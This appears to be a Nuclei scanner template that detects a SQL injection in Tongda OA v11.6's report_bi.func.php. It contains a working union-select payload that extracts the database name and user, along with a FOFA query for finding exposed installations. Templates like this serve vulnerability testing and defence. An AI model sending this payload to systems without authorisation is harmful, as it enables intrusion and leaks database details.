id: tongda-report-func-sqli info: name: Tongda OA v11.6 report_bi.func.php - SQL injection author: SleepingBag945 severity: high description: | Tongda OA v11.6 report_bi.func.php has a SQL injection vulnerability, and attackers can obtain database information through the vulnerability. reference: - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20report_bi.func.php%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md metadata: verified: true max-request: 1 fofa-query: app="TDXK-通达OA" tags: tongda,sqli http: - raw: - | POST /general/bi_design/appcenter/report_bi.func.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _POST[dataset_id]=efgh%27-%40%60%27%60%29union+select+database%28%29%2C2%2Cuser%28%29%23%27&action=get_link_info& matchers-condition: and matchers: - type: word words: - '"root@' - '"para":' - '"td_oa"' condition: and - type: status status: - 200